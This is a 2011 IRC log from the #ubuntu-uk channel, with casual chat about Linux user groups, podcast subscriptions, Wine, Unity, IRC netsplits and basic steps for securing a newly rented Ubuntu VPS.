<screen-x> that would make sense :)
<screen-x> which means I should have a response tomorrow :)
<HazRPG> seems cedega has had a sudden role reversal
<zleap> so apart from Daviey is anyone else on ubuntu-uk in devon ? specifically south devon
<HazRPG> zleap: somehow I think it would be pointless to host one here in cumbria - the scene for linux here seems to be very much dead sadly :(
<screen-x> zleap: I was born in devon, if that helps ;-)
<jacobw> I think reading theoatmeal.com is going to occupy my evening :|
<screen-x> !alot
<lubotu3> Do you like to hug alot? - http://bit.ly/aVDMTo
<HazRPG> I can count 5 people in total in this area that uses linux exclusively
<screen-x> I like that one :)
<zleap> hmm,  HazRPG i know how you feel there
<jacobw> I should join my local LUG
<HazRPG> jacobw: I have, and so far no one on the mailing list has responded :(
<zleap> i did a poster for my local lug,  i just not long after it actually started,  i think posters do help spread the word
<AlanBell> http://www.theopensourcerer.com/2011/02/23/open-source-with-the-home-office-and-the-british-computing-society/
<jacobw> I think it'd find it strange at first meeting other like minded people, but then it'd be awesome
<AlanBell> czajkowski: copy away
<zleap> there are several sorts of lug meets, social right up to install fests,  talks sessions etc
<jacobw> WYLUG looks active, but their photo gallery only goes up to 2002 :s
<zleap> so if starting off best to just find somewhere that can host you and try and get like minded people to join up,   at least the initial topic is usually what distro do you use
<jacobw> Looks very active in fact
<jacobw> I imagine that dicussion is faster now than in days gone by
<zleap> wy = west yorkshire right
<jacobw> Yeah :)
<HazRPG> I know it sounds bad, but I have a feeling the demographic for the cumbrian lug is a much older group of people...
<jacobw> 'tis the place to be
<Daviey> zleap, I haven't forgotten your email btw
<HazRPG> which is a real shame
<zleap> Daviey, no problem
<jacobw> HazRPG: old people are people too
<HazRPG> I mean I'm sure there are more linux users in cumbria - they're just hiding :(
<Daviey> zleap, i'm almost certain i won't be i Devon at release time - i'll probably be in London...
<zleap> i find in the dclug that the older people and younger members really get on well with each other
<czajkowski> AlanBell: thanks
<zleap> Daviey, ah ok np
<HazRPG> jacobw: that's why I said it sounds bad (I mean to say it out loud)
<jacobw> DC?
<zleap> devon and cornwall
<jacobw> HazRPG: i know ;)
<HazRPG> I mean I have nothing against it, its just a shame that younger people just don't have the same motivations and accomplishments that people use to once have
<zleap> HazRPG, why is that ?
<jacobw> HazRPG: yeah, that saddens me to, and influences my life choices in not wanting to be one of 'those' young people
<HazRPG> just seems that if its going to take longer than 2 minutes to do anything, they just sort of toss it aside
<AlanBell> czajkowski: CC-By-SA
<MartijnVdS> HazRPG: there are exceptions
<zleap> HazRPG, you will find the odd few willing to put in the effort,  however that could explain why youth unemployment is so high
<Daviey> zleap, I will strive for the next lug meet.
<HazRPG> MartijnVdS: true... but you've clearly not been in cumbria before ^^
<zleap> ok cool,
<MartijnVdS> HazRPG: why would I want to go to Cumbria ;)
<HazRPG> exactly!
<HazRPG> :P
<jacobw> is Kendal in Cumbria?
<zleap> Daviey, can we get any swag for a ubuntu launch party ?
<zleap> :D]
<HazRPG> jacobw: technically it is I think
<HazRPG> its part of the north-west if that counts...
<jacobw> Cool :) It's a far north west as I've ever been
 * jacobw avoids crossing the hills
 * AlanBell needs to dispose of some swag
<MartijnVdS> HazRPG: though it looks like a nice place for a good walk among the mountains
<jacobw> Manchester seems to be a hotbed of open source coolness
<HazRPG> MartijnVdS: yeah there are some nice places here for walks :) but its about the only thing we have going for it :P
<HazRPG> jacobw: agreed
<zleap> AlanBell, whatr sort of stuff u got ?\
 * zleap has loads of 10.10 cd's
<HazRPG> I've travelled down with a few friends before for some open-source goodness, and some MTG before - since we're such a blackhole here
<jacobw> I live in Leeds, there must be some open source stuff going on here
 * brobostigon wonders if he has cooked polanta properly.
<MartijnVdS> Why is there a ferry from the Netherlands to _Newcastle_
<HazRPG> MartijnVdS: why wouldn't there be?
<jacobw> MartijnVdS: to scare naughty children?
<HazRPG> MartijnVdS: businesses have to get there good shifted from land-to-land somehow ;)
<brobostigon> tastes ok, feels ok, soi think i have cooked it right, then.
<MartijnVdS> HazRPG: yes, we have airports, and freight harbours etc.
<MartijnVdS> HazRPG: I don't see the use of a ferry :)
<AlanBell> zleap: the official ubuntu book for a start
<jacobw> The north east was once an industrial power
<AlanBell> and some baseball caps
<zleap> cool
<AlanBell> I have a plan for the book
<HazRPG> AlanBell: there's an official ubuntu book :o
 * jacobw is interested in the offical ubuntu book
<AlanBell> there is
<jacobw> of what vintage?
<AlanBell> fifth edition
<zleap> i have the firtst ed of the ubuntu manual
 * HazRPG googles said book
<zleap> btwq i assume this will have to be updated for unity
<jacobw> awesome :) are you willing to post?
<brobostigon> zleap: iwould agree.
<AlanBell> jacobw: I have a plan . . .
<MartijnVdS> http://www.stickycomics.com/wp-content/uploads/update_for_your_computer.jpg
<czajkowski> AlanBell: nice write up
<jacobw> HazRPG: i've just seem your pm from the other day.. i haven't got libnotify set up
<zleap> AlanBell, how much would it cost to send some baseball caps,?
<HazRPG> jacobw: remind me what that said again?
<HazRPG> AlanBell: is this the book? http://www.amazon.co.uk/Official-Ubuntu-Book-Benjamin-Mako/dp/0137081308/ref=sr_1_1?ie=UTF8&qid=1298487897&sr=8-1
<AlanBell> that very one
<zleap> HazRPG, thats more like it , the one i found was for 6.06
<MartijnVdS> zleap: it's still supported...
<HazRPG> zleap: heh yeah my results were showing those too - so popped amazon up instead ^^
<zleap> its available on kindle too :)
<HazRPG> zleap: still don't own a kindle yet... I will be getting on shortly :)
<zleap> nor me
<brobostigon> one*
<zleap> any idea if its possible to highlight text on a kindle, and save,  like for taking notes etc
<MartijnVdS> zleap: yes, until Amazon decide you can't have the book anymore
<HazRPG> zleap: indeed you can :)
<zleap> ah,  so its time limited
<jacobw> what are the odds of them choosing 1984 to demonstrate that weakness with..
<MartijnVdS> jacobw: 100%! :)
<AlanBell> !1984
<lubotu3> Official channel logs can be found at http://irclogs.ubuntu.com/ . LoCo channels are now logged there too; for older LoCo channel logs, see http://logs.ubuntu-eu.org/freenode/
<jacobw> haha
<AlanBell> big brother is watching you
<zleap> lol
<zleap> logs are useful though
<zleap> ok may send for some ubuntu stickers for the launch party
<HazRPG> MartijnVdS: seriously amazon can do that?
<MartijnVdS> HazRPG: if you bought the book through amazon, yes
<HazRPG> MartijnVdS: is that for repeat downloads, or are the books themselves protected as such
<cbx33> we talking about kindles?
<MartijnVdS> cbx33: yes
<HazRPG> aye
<HazRPG> yes*
<MartijnVdS> HazRPG: http://www.pcworld.com/article/168654/amazon_removes_ebooks_from_kindle_store_revokes_ownership.html
<cbx33> heh
<Laney> http://logs.ubuntu-eu.org/freenode/2006/01/13/%23ubuntu-uk.html first (logged) lines
<Laney> no, lies, there were more before then
<zleap> where do i download the pod casts from ?
<MartijnVdS> zleap: podcast.ubuntu-uk.org -- follow instructions on there
<MartijnVdS> hm
<MartijnVdS> there used to be a page with everything on it there
<zleap> i get a countdown till the next one,
<MartijnVdS> http://podcast.ubuntu-uk.org/2011/02/23/s04e00-season-4-is-coming/ has the subscribe links on the side
<shauno> arf, yeah that is a rather unfriendly "landing page"
<zleap> i am sure i should be able to download em auto matically somehow
<MartijnVdS> zleap: rhythmbox and banshee are both podcast clients
<MartijnVdS> zleap: you can add the feed to them
<HazRPG> MartijnVdS: wow that's a scary thought
<zleap> ok
<MartijnVdS> HazRPG: hence why I bought a Sony with no 3G/wifi (only USB)
<MartijnVdS> HazRPG: only I decide what goes on/off :)
<jacobw> http://www.gnu.org/philosophy/right-to-read.html
<HazRPG> MartijnVdS: heh, there's an app for the kindle to strip the DRM from the books
<HazRPG> if I recall
<MartijnVdS> can't calibre do that with the right plugins?
<HazRPG> MartijnVdS: yeah, it was an app for the desktop - not for the kindle
<zleap> pk fired up rhytmbox, and did a search in podcastrs for ubuntu uk and got nothing
<HazRPG> might be calibre - I just don't recall what it was called
<HazRPG> zleap: no you need to put the feed into rhythmbox
<zleap> how
<HazRPG> click podcast
<zleap> ok
<zleap> done that
<HazRPG> right-click on a blank space in the window to the right
<HazRPG> and pick new feed
<HazRPG> then put the url of the podcast you want to subscribe to :)
<zleap> like the one above http://podcast.ubuntu-uk.org/
<MartijnVdS> or just drag the feed icon into banshee/rhythmbox
<HazRPG> no, the actual feed
<HazRPG> or you can do that too :P
<HazRPG> zleap: what you wanting the downloads to be?
<HazRPG> ogg/mp3?
<zleap> ogg
<HazRPG> hi-fi or lo-fi?
<zleap> hi i guess
<zleap> i just want to see if I can download them
<HazRPG> zleap: put this url in then: http://feeds.feedburner.com/UbuntuUkPodcastOgg-high
<zleap> ah ok thanks
<zleap> s3 onwards
<ubuntuuk-planet> [Ubuntu UK Podcast] S04E00  Season 4 is coming! - http://podcast.ubuntu-uk.org/2011/02/23/s04e00-season-4-is-coming/
<ubuntuuk-planet> [Alan Bell] Open Source with the Home Office and the British Computing Society - http://www.theopensourcerer.com/2011/02/23/open-source-with-the-home-office-and-the-british-computing-society/?utm_source=rss&utm_medium=rss&utm_campaign=open-source-with-the-home-office-and-the-british-computing-society
<zleap> if i download all of em i can listen locally and move around etc
<HazRPG> zleap: usually the podcast:// or pcast:// urls should open up rhytmbox on websites
<HazRPG> sometimes its placed on the site as an "itunes" link
<zleap> ok it opened in totem here
<MartijnVdS> that's a single episode
<HazRPG> zleap: what the url above?
<zleap> but hopefully it will download in rhymem box
<zleap> http://feeds.feedburner.com/UbuntuUkPodcastOgg-high
<zleap> i can download using rhytmbox
<HazRPG> yeah :)
<zleap> thats fine,  so if I come back to it in march then i it will just find then download the new one
<HazRPG> if you put that url into the feeds, it'll add it to the list
<zleap> ok dumb queston 2 where does it download too,  i assume a directory in ./home/my user
<HazRPG> podcasts in rhythmbox auto go to ~/Music
<zleap> ok
<HazRPG> but you can change it in preferences
<zleap> thanks
<HazRPG> the podcasts tab
<HazRPG> and just change the location
<zleap> its fine i am used to windows, lets hide stuff in a odd location
<HazRPG> I usually set it to ~/Music/Podcasts
<zleap> i will move to external drive anyway at some point
<HazRPG> zleap: best thing about feeds is that they automatically go into their own folder
<HazRPG> the feed link I gave you should put them in a folder called "Ubuntu Podcast from the UK LoCo team Â» ogg-high"
<zleap> ok the lighthouse (where i am hoping to do a lauch party) is setting up an internet radio station is there an issue with re transmitting the podcasts on there
<MartijnVdS> zleap: the podcast seems to be CC-BY-SA-licensed
<MartijnVdS> zleap: http://creativecommons.org/licenses/by-sa/3.0/
<zleap> so no as long as I credit it properly
<MartijnVdS> zleap: I'd say you're OK as long as you don't cut out the "This is the Ubuntu UK podcast" bit :)
<zleap> i am crap at editing stuff anyway so will do it as - is
<MartijnVdS> zleap: and maybe tell them where/how to subscribe to the podcast when they ask :)
<zleap> ok,
<HazRPG> yeah, best thing to do is just tell people that your about to play the ubuntu-uk podcast and that they can subscribe to it from podcast.ubuntu-uk.org
<zleap> ah ok,  well hopefully they are getting their website sorted so it can all go on there with a link
<HazRPG> :)
<HazRPG> you can always just make a generic audio file that says the above (or get one of your friends to do it) and then just play that file each time your about to play the podcast :)
<zleap> good idea
<HazRPG> zleap: oh btw, concerning the podcast and rhythmbox - I just noticed that if you only just subscribed to it, it'll only download the most recent file
<HazRPG> so you might have to highlight them all and click "download episode" if your wanting them all :)
<zleap> it goes back as far as april 2010
<HazRPG> CTRL+A works for selecting all :)
<zleap> thats ok i need to keep an eye on what i download ( limit of 10gb) so don't want to do too much, however i may be able to grab quite a lot in what i have left for this month
<HazRPG> well each episode is only ~20-30 MB so its not an awfully big amount you'll be using
<HazRPG> hmm, just a thought - but shouldn't the landing page on the podcast site at least let you click the logo/title so that you can browse the rest of the site?
<MartijnVdS> HazRPG: it should.  talk to popey :)
<zleap> I will see what i can do
<zleap> having a link on the page with the countdown would make it easier to do a poster for it
<zleap> so i can do a poster promoting the uk ubuntu podcast and stick that up
<HazRPG> just sent popey a PM, so hopefully it should soon :)
<daubers> Evening
<HazRPG> daubers: hey dude
<MartijnVdS> http://www.cafepress.com/+keep_calm_and_dont_blink_doctor_who_poster,400949382
<daubers> Have to admit I'm looking forward to the new UUPC season
<zleap> ok i have changed it to look for new podcasts weekly
<zleap> i have created a simple poster with the main url on from above and http://feeds.feedburner.com/UbuntuUkPodcastOgg-high
<Myrtti>  ho-hum
<MartijnVdS> Myrtti: evening
<zleap> hi
<Middle> Hello?
<MartijnVdS> Howdy
<HazRPG> zleap: might be worth putting the MP3 one on too, since some players can't play OGG http://feeds.feedburner.com/UbuntuUkPodcastMp3-high
<HazRPG> I tend to hear podcasts from home, but sometimes I put them on my MP3 player for on-the-go listening
<Middle> I am curious about joining hte Ubuntu UK Loco team, i am doing A-Levels at teh moment, and i am looking at university options or employement.  So i was jsut curious as to waht Ubuntu Loco is all about?
<HazRPG> zleap: you could always just make a short url version of both those to save space on your poster :)
<daubers> Middle: Hang around, join the mailing list, get involved. Loco's are many things
<daubers> !loco
<lubotu3> Information on Ubuntu Local Community Teams is at https://wiki.ubuntu.com/LoCoTeams
<HazRPG> zleap: if it helps I've just made them using tinyurl.com for you: http://tinyurl.com/uupc-mp3 & http://tinyurl.com/uupc-ogg
<Middle> So is it just a group of Local Ubuntu Enthusiasts? If so what do you get up to?
<HazRPG> Middle: pretty much, although the LoCo is much more than that too though... plus some of the people in here aren't in the UK :P
<HazRPG> Middle: mainly people just talk about ubuntu/linux/other stuff, bugs, problems, general stuff they've found out - but not always just about linux though
<daubers> http://ubuntu-uk.org/where-are-we/ most are though
<Middle> :0 Imposters! Well it sounds interesting
<brobostigon> Middle: we also promote ubuntu and support users of ubuntu.
<HazRPG> Middle: just cos they don't live in the UK doesn't mean they're not british ;)
<Middle> I joke i joke
<HazRPG> :P
<Middle> So is there literally local meets IRL for local clubs?
<HazRPG> the podcast they do is pretty awesome if you're a linux enthusiast though :)
<daubers> Middle: Yep, maybe not so Ubuntu centric though
<daubers> !lug
<lubotu3> Lug's are Linux User Groups. You can find your local group here: http://www.linux.org/groups/
<Middle> Oh wait so is that map a map of members or 'clubs'?
<daubers> 'tis members
<dutchie> we also talk about minecraft a bit :)
<HazRPG> Middle: that's a map of people who frequent #ubuntu-uk and such
<HazRPG> dutchie: heh, mainly in #ubuntu-uk-minecraft though :P
<dutchie> it spills over a fair bit tbf
<Middle> Ah right ok! Nearest person to me is Oxford =[
<Myrtti> I couldn't put Finland to it too :-(
<HazRPG> this is true
<dutchie> Middle: that's me!
<brobostigon> Middle: lug.org.uk has a list of linux users groups.
<Middle> dutchi you are closest to me
<MadLeomon> Is there any reason no matter what the exe is, or where it's from that wine would constantly tell me it's unsafe and refuse to run it
<Middle> I am in Milton Keynes
<dutchie> whereabouts are you, Middle?
<dutchie> ah
<dutchie> that is a fair old way from here
<HazRPG> Middle: closest to me is a guy up in Edinburgh technically
<brobostigon> Middle: i am up innorth oxfordshire, so ampretty close.
<HazRPG> MadLeomon: might be because you haven't set the file up to be executable
<Middle> Yeah, still not too far, Are you studying at Oxford?
<brobostigon> Middle: me, no. and oxford isnt north oxfordshire.
<HazRPG> MadLeomon: right-click the file -> properties -> permissions tab -> tick "allow executing file as program"
<brobostigon> Middle: try hitting your tab button for completing nicks.
<MadLeomon> HazRPG: Seems your first guess was correct, it's been too long since I've used wine
<dutchie> Middle: I am, yes
<Middle> brobostigon: Thats amazing :0 Does that work in all clients?
<HazRPG> MadLeomon: same, only been messing around with it again over the last 4 days... so my efforts & knowledge is pretty recent :)
<Middle> dutchie: Nice, what are you studying?
<dutchie> maths
<brobostigon> Middle: should do, yes. as well as normal terminal aswell.
<HazRPG> MadLeomon: last time I used Wine, was back in 9.04/9.10 days
<brobostigon> Middle: to complete paths, executable names, you name it.
<MadLeomon> HazRPG: not far off when I last used it
<Middle> brobostigon: Thanks that will save lots of time... especially when we get users called 09534tp94htg4owe... XD
<HazRPG> Middle: it works in most clients :)
<MadLeomon> Got a craving for some diablo 2
<Middle> dutchie: Clever Maths at AS scared me off...
<brobostigon> Middle: try it in a normal terminal aswell, comes invery useful,
<seaslug> Maths rocks
<HazRPG> Middle: I think what brobostigon was trying to say was that the auto-complete also works when your using the terminal to browse folders/files/applications
<brobostigon> thanks HazRPG :)
<HazRPG> Middle: give it a try, its awesome :)
<dutchie> maths is even more awesome :)
<Middle> Yeah awesome! Thats what i love about nix is there is always something to learn. Lke i am an 'expert' in one feild, but know so little about others....
<dutchie> (not biased or anything)
<MadLeomon> I wonder if there's a good replacement for wine-doors floating about
<HazRPG> Middle: e.g. cd /ho (press tab) Desk (press tab then hit enter), it'll take you to the Desktop folder
<pr0ph3t> anyone else having touchpad and mouse issues after update?
<brobostigon> pr0ph3t: which update?
<Middle> HazRPG i just tried that XD
<HazRPG> Middle: hehe :P
<brobostigon> pr0ph3t: and which package?
<Middle> dutchie: I am looking at doing network security at Uni, or finding a good work placement im in my second year of A-levels so far...
<HazRPG> MadLeomon: hmm, for download fonts and such likes?
<HazRPG> downloading*
<dutchie> which a levels are you doing?
 * brobostigon does has trouble phrasing things in the right way, sometimes, :(
<pr0ph3t> brobostigon, not sure, it was a partial update
<HazRPG> brobostigon: I do too, so I wouldn't worry about it
<brobostigon> pr0ph3t: in which case, i cant say, if idont know what was updated.
 * brobostigon hugs HazRPG :)
<HazRPG> hurray!
 * HazRPG hugs brobostigon
 * HazRPG offers up free hugs to all
<brobostigon> group hug, yay :)
 * brobostigon joins in.
<HazRPG> :)
<MadLeomon> HazRPG: Just the general ease of that kind of thing, so yeah pretty much
<Middle> dutchie: Computing, Physics and Business + Economics, but i would only really like to do Computing...
 * dutchie food
<HazRPG> MadLeomon: it doesn't have a pretty interface - but if your not scared of a bit of CLI then head over to: http://wiki.winehq.org/winetricks
 * HazRPG high-fives Middle
<MadLeomon> HazRPG: CLI is only scary when you don't have a chat room full of people who you can pester for advice :p
<HazRPG> MadLeomon: :P
<jacobw> --help
<HazRPG> MadLeomon: winetricks is pretty self explanatory though
<HazRPG> yeah as jacobw said, type in winetricks --help into terminal and it'll show you all the stuff it can assist you with
<HazRPG> jacobw: don't forget about man pages ;)
<MadLeomon> HazRPG: I still have nightmares from an old DOS computer my mum had, can you picture the damage an 8 year old can do in command line
<HazRPG> man pages have saved my skin a few times this week :)
<HazRPG> MadLeomon: yeah, but that's because anyone could mess around in DOS though :P there were no permissions setup :P
<MadLeomon> admittedly the computer was serveral OSes and about the better part of half a decade out of date
<Middle> CLI > GUI any day... I tried a program with a GUI and got scared and exited it, then mastered it in < 2 minutes on th3 CLI....
<Middle> afk
 * daubers should do more stuff in c/c++
<daubers> Argh! Just realised I've been using Unity all day today and it's not got in the way of my work
 * daubers is pleasantly surprised
<HazRPG> daubers: agrees with the doing of more stuff in c/c++
<HazRPG> personally I find unity a nuisance of my screen real-estate... since I've got the old-screen squared off screens still
<HazRPG> old-school*
<HazRPG> if I had widescreen monitors I don't think I'd mind so much
<daubers> HazRPG: Unity in natty? Would't have thought it would be an issue with the way the dock is scared of windows
<HazRPG> how'd ya mean?
<daubers> If I maximize the windows, the dock runs off the left of the screen and hides
<daubers> Poor little thing is terrified of windows
 * daubers may have personified the dock too much recently
<HazRPG> ah
<HazRPG> hmm, didn't think it could do that
 * HazRPG feels he's missing a trick somehow
<daubers> Only does it in Natty, not in Maverick
<HazRPG> MadLeomon: how's winetricks working out for ya btw?
<HazRPG> daubers: ah, that'll be why then :P
<MadLeomon> HazRPG: got the stuff i wanted from it, so fine.
<HazRPG> MadLeomon: good stuff :)
<HazRPG> was just checkin in to make sure ya got it working fine :)
<pr0ph3t> bloomin touchpad
<pr0ph3t> right and left clicks work but the pointer doesn't move
<pr0ph3t> I looke in /var/log/X.0.log but nothing seems to stand out (i.e. ERROR and alike)
<zleap> back
<pr0ph3t> looked*
<ben__> Hey
<zleap> hey
<ben__> anyone there?
<zleap> i am here
<ben__> what up?
<zleap> just listening to the ubuntu podcast
<ben__> same only my music is from my xbox lol
<zleap> ah
 * HazRPG just found out that his collection of harry potter books (all if not most of which are 1st ed.) are worth a fair bit and can only find 2 of them >_<
<zleap> ouch
<HazRPG> your telling me!
<HazRPG> on sotheby's auction, they've been going for anywhere between 1k to 20k for them
<zleap> nice
<HazRPG> the 20k one is for the first 4 books
<zleap> you could buy a lot of ubuntu cd's for that,  or a really nice computer
<HazRPG> I've got all 7 as first ed's (as far as I remember, I know the last 3 are definitely - cos I had them preordered when sales for preorders came out)
<HazRPG> zleap: I know!
<zleap> yay
<zleap> you need to have a good root round for em eh
<zleap> of course they are only worth that much if in very good condition
<HazRPG> I've got 2 houses to search through though >_<
<zleap> ah
<HazRPG> I stay at my mum's house (but she's retired to egypt) and I've gotta look through @ my dad's (who still works out in saudi)
<HazRPG> yeah, they're in pretty good condition
<HazRPG> well at least they /were/ in pretty good condition
<HazRPG> the last 3 that I've found here still look brand new (and so they should, I still never got round to reading them xD)
<zleap> ohh
<zleap> so mega bucks then :)
<HazRPG> hopefully :P
<zleap> i am waiting for harry potter part 1 to come out on dvd
<HazRPG> but I doubt the last 3 would sell for much without the other 4
<zleap> as in deathly hallows part 1
<HazRPG> yeah I guessed :P
<zleap> you dont want like to split them if you can help it
<HazRPG> its not that, the first book only so many of them were made because it wasn't as popular back then
<zleap> ah
<HazRPG> so the collection is pretty worthless without it
<ben__> Have you ever used fedora ?
<HazRPG> first book alone is worth 3k
<zleap> i used to use red hat
<HazRPG> 2nd book is only worth Â£400
<zleap> before it split and they created fedora,
<HazRPG> etc
<zleap> ah
<zleap> i guess wait a few years when you find em and they should go up in value
<HazRPG> heh, yeah I use to use red hat too
<zleap> and used suse, got fed up with things breaking
<HazRPG> zleap: totally :P
<zleap> i have 3.0.3 here somewhere, plus rhl 6
<zleap> i think i stoped at 6
<zleap> thenmoved to suse, liked the auto video playback upgraded and it broke so ended up on debian based distro and more recently ubuntu
<zleap> so yeah back then it was more dual boot for linux really
<zleap> hi rattleStuff
<rattleStuff_> allo
<zleap> ohh mega netsplit
<HazRPG> wow, so our server lost connection with all the others!
<zleap> it happens occasionally
<HazRPG> yeah so I'm noticing
<shauno> less occasionally lately, it seems
 * HazRPG wonders if the official ubuntu server book is worth a buy
<HazRPG> I never saw disconnects like this back in the dial-up days
<HazRPG> I use to be logged into quakenet for several hours at a time once
<HazRPG> funny to see how much quakenet has changed over the years though
<dwatkins> You mean IRC servers with netsplits, HazRPG? I think that might be intentional sometimes, not sure how often, though.
<HazRPG> dwatkins: yeah
<dwatkins> I set my client to ignore netsplits, and use tab-complete to make sure the person I'm speaking to is still on the channel.
<dwatkins> I also have joins and quits on ignore to reduce the noise level.
<shauno> I haven't read the server book yet.  it's on my shelf tho, for when I get really bored
<HazRPG> I mainly use my o'reilly quick-reference books for most stuff
<brobostigon> http://www.cyanogenmod.com/devices   there, they have killed of the htc dream, so sad, :(
<zleap> I got one of those for LaTeX only its in german, lol
<zleap> i can sort of understand it
<HazRPG> I have a linux one, but I recently lent it out to someone who's doing networking and they're setting up servers for one of their classes
<dwatkins> brobostigon: killed the phone or killed the dream of HTC?
<brobostigon> dwatkins: cyanogenmod making modern android versions for it.
<dwatkins> brobostigon: I See; I notice the Ace aka Desire HD isn't on the list.
<brobostigon> dwatkins: i didnt notice, no, sorry,
<dwatkins> brobostigon: no worries, I was just pointing out my phone appears to unfortunately not be supported, which is a shame as I'd quite like Cyanogenmod on it having seen it on a Nexus One
<brobostigon> dwatkins: i see. ok.
<zleap> this looks cool http://www.vimeo.com/19064597
<HazRPG> dwatkins: if I recall, cyanogenmod are supporting the Desire HD in cm7
<HazRPG> wow mIRC is still on the go!
<zleap> yeah i remember mirc 15 years ago :)
<HazRPG> same
<HazRPG> I was first introduced to it by an internet cafÃ©
<HazRPG> I went in, because our home line was dead... and noticed the icon on the desktop
<zleap> same here
<HazRPG> I even used MS-Chat back then too - which was basically an irc client too :P
<zleap> well internet cafe before i got the net at home
<dwatkins> HazRPG: hooray
<zleap> yeah remember that too, i guess that was the for runner to msn
<HazRPG> zleap: yeah I think so too
<zleap> i remember hotmail beofre MS took it over
<zleap> before
<HazRPG> heh same
<zleap> :)
<brobostigon> when hotmailwas ran of bsd servers.
<zleap> back in the win95 days
<HazRPG> with a rather silly logo, and simple interface :P
<zleap> yeah
<brobostigon> off*
<zleap> well it was simple back then eh
<HazRPG> brobostigon: I didn't know that
<brobostigon> HazRPG: i understand it was freebsd tobe specific,
<HazRPG> zleap: back then, I did my own crawling through the internet - I didn't know about search engines at the time
<zleap> i got books on all that here,  covers stuff like spider etc
<HazRPG> I had a web crawler that I had to feed links to, to make up a database of my own to find stuff
<zleap> also givers prices for ISP's back in 1995 that was expensive
<zleap> nice
<HazRPG> zleap: took time to find a site, I must tell you - specially on dialup!
<zleap> if you use gentoo,  not much has changed eh,  you need to build os before you can use it
<HazRPG> heh yeah
 * zleap hides from any gentoo users in the channel 
<zleap> thing is with te build it your self method you learn a heck of a lot in doing so
<zleap> which is why i want to have a go at Linux from scratch atr some point
<HazRPG> same
<zleap> lol
<Azelphur_> is it just me or can you not join +r channels now like ##hardware
<zleap> think so
<Azelphur_> oh no, everyone is ghosting.
<Azelphur_> hehe, freenodes having some hiccups right now :P
<zleap> i remember that coming up on #dfey ##chans are not official channels or something can't remember exactly it was last year
<shauno> I ain't afraid of no ghosts
<brobostigon> lol
 * brobostigon waves to make sure h is still here.
<brobostigon> he*
 * dwatkins waves back at brobostigon 
 * brobostigon waves at dwatkins 
<shauno> well, nap time for me.  have fun with the servers  (or lack of)
<brobostigon> night shauno
<ubuntuuk-planet> [Jono Bacon] Ubuntu Developer Summit Sponsorship Now Open! - http://www.jonobacon.org/2011/02/23/ubuntu-developer-summit-sponsorship-now-open/
<brobostigon> quadraphenia, itv4, 11pm. :)
<HazRPG> errr... why am I suddenly get a back log of text before being booted
<Azelphur> freenode is having breakage
<AlanBell> HazRPG: I think they just nailed freenode back together
<HazRPG> :P
<HazRPG> shauno: just got myself a VPS :)
<HazRPG> shauno: Â£15 a year
<brobostigon> thats cheap.
<HazRPG> yeah :)
<HazRPG> using this link: http://stats.buysellads.com/click.go?z=1241503&b=548314&g=&s=&sw=2560&sh=1024&br=chrome,9,linux&r=0.5762228921521455&link=http://www.allsimple.net/lowendbox
<HazRPG> or rather
<HazRPG> www.allsimple.net/lowendbox
<HazRPG> (lowendbox is the referral code I think)
<brobostigon> ok,noted, will look at tmrw.
<HazRPG> loads of others @ http://www.lowendbox.com/
<HazRPG> its just a website a guy started originally as a blog to list cheap VPS sites :)
<HazRPG> now he gets e-mails and offers to post up on his site :)
<HazRPG> its pretty good
<brobostigon> :)
<HazRPG> wow, they gave me a long username >_<
<HazRPG> I'll never remember that!
<HazRPG> think it would be possible to change the username?
<HazRPG> or at least make one I'll remember :/
<brobostigon> nos da everyone.
<HazRPG> having trouble signing in
<HazRPG> to my vps
<HazRPG> :(
<HazRPG> brobostigon: oh... catch ya later (sleep well)
<brobostigon> HazRPG: good night,
<popey_> 19:44:47 < HazRPG> hmm, just a thought - but shouldn't the landing page on the podcast site at least let you click the logo/title so that you can browse the rest of the site?
<popey_> 19:44:57 < MartijnVdS> HazRPG: it should.  talk to popey :)
<popey_> no, we're redisigning ths site :)
<HazRPG> ah
<HazRPG> you're an intelligent individual :)
<HazRPG> is it possible to change my login details on the VPS I just got?
<popey> heh, no clue
<HazRPG> :(
 * HazRPG doesn't like the prospect of being logged in as root
 * HazRPG looks into creating users
<HazRPG> its an ubuntu server
<dwatkins> I imagine you would be well advised to start by creating a user, giving it sudo permission, making the root password really really strong, and maybe even disabling root logins and installing denyhosts for starters, HazRPG
<HazRPG> dwatkins: hit the hammer on the nail with that one, that's exactly what I plan to do
<dwatkins> HazRPG: then secure the system properly ;)
<pr0ph3t> hi all
<pr0ph3t> somebody mentioned earlier on that they used RDP to connect remotely to their ubuntu? Is that a good replacement or win/mac splashtop?
<pr0ph3t> splashtop remote desktop that is
<HazRPG> hmm, I mentioned at one point that I use RDP for my windows box
<pr0ph3t> to control the ubuntu desktop remotely with audio
<HazRPG> vnc would be what I use for ubuntu
<pr0ph3t> do you get audio with that as well?
<HazRPG> if I recall, yeah
<HazRPG> depends on which client/server variant you use
<HazRPG> vnc is essentially a protocol type
<HazRPG> there's many different ones
<HazRPG> ultraVNC comes to mind
<pr0ph3t> server side?
#ubuntu-uk 2011-02-24
<HazRPG> yeah, like RPD you need one to serve and one to connect
<pr0ph3t> vino does that as well or not as featureful?
<HazRPG> not sure, only really used RDP and VNc
<HazRPG> dwatkins: okay, made a secure password using lower/caps/nums/special key combos
<dwatkins> HazRPG: now make sure you don't forget it, just in case...
<HazRPG> dwatkins: its my preferred password when sites/applications let me use it
<HazRPG> I call is as my high-priority/secure password, so should be safe there
<HazRPG> just a pain to type in at times :P
<HazRPG> adduser for creating new users correct?
<dwatkins> useradd, no?
<HazRPG> no ?
<dwatkins> ...and don't forget the -m
<dwatkins> I guess it depends on the distro and year.
<HazRPG> ubuntu 10.04
<HazRPG> hasn't adduser been in since 8.04?
<andylockran> hello
<andylockran> I'm trying to get natty to load up gdm login screen
<andylockran> it fails :(
<Cepheus> i've always used useradd personally
<andylockran> I'm running an oveau driver
<andylockran> but the monitor is a big 24" one.
<Cepheus> what card do you have, andylockran?
<andylockran> nvidia 7900GS
<andylockran> worked fine with maverick
<andylockran> shouldn't have upgraded so early :p
<Cepheus> what kind of failure? black screen? Xorg crash?
<HazRPG> dwatkins: how do I give the new user sudo/root access?
<Cepheus> andylockran: Not 100% sure, but you may be afflicted by https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-nouveau/+bug/723012
<lubotu3> Ubuntu bug 723012 in xserver-xorg-video-nouveau (Ubuntu) "Xorg segfaults on nouveau" [Undecided,New]
 * HazRPG finding the ubuntu manual a bit daunting
<dwatkins> HazRPG: honestly, I dn't know the official method; I think there's a command, but I just edit the relevant file with visudo
<dwatkins> That I can appreciate, HazRPG - understanding an entire OS can be a little daunting. I like to thing of it as little ants doing their jobs
<Cepheus> that seems a likely candidate, andylockran
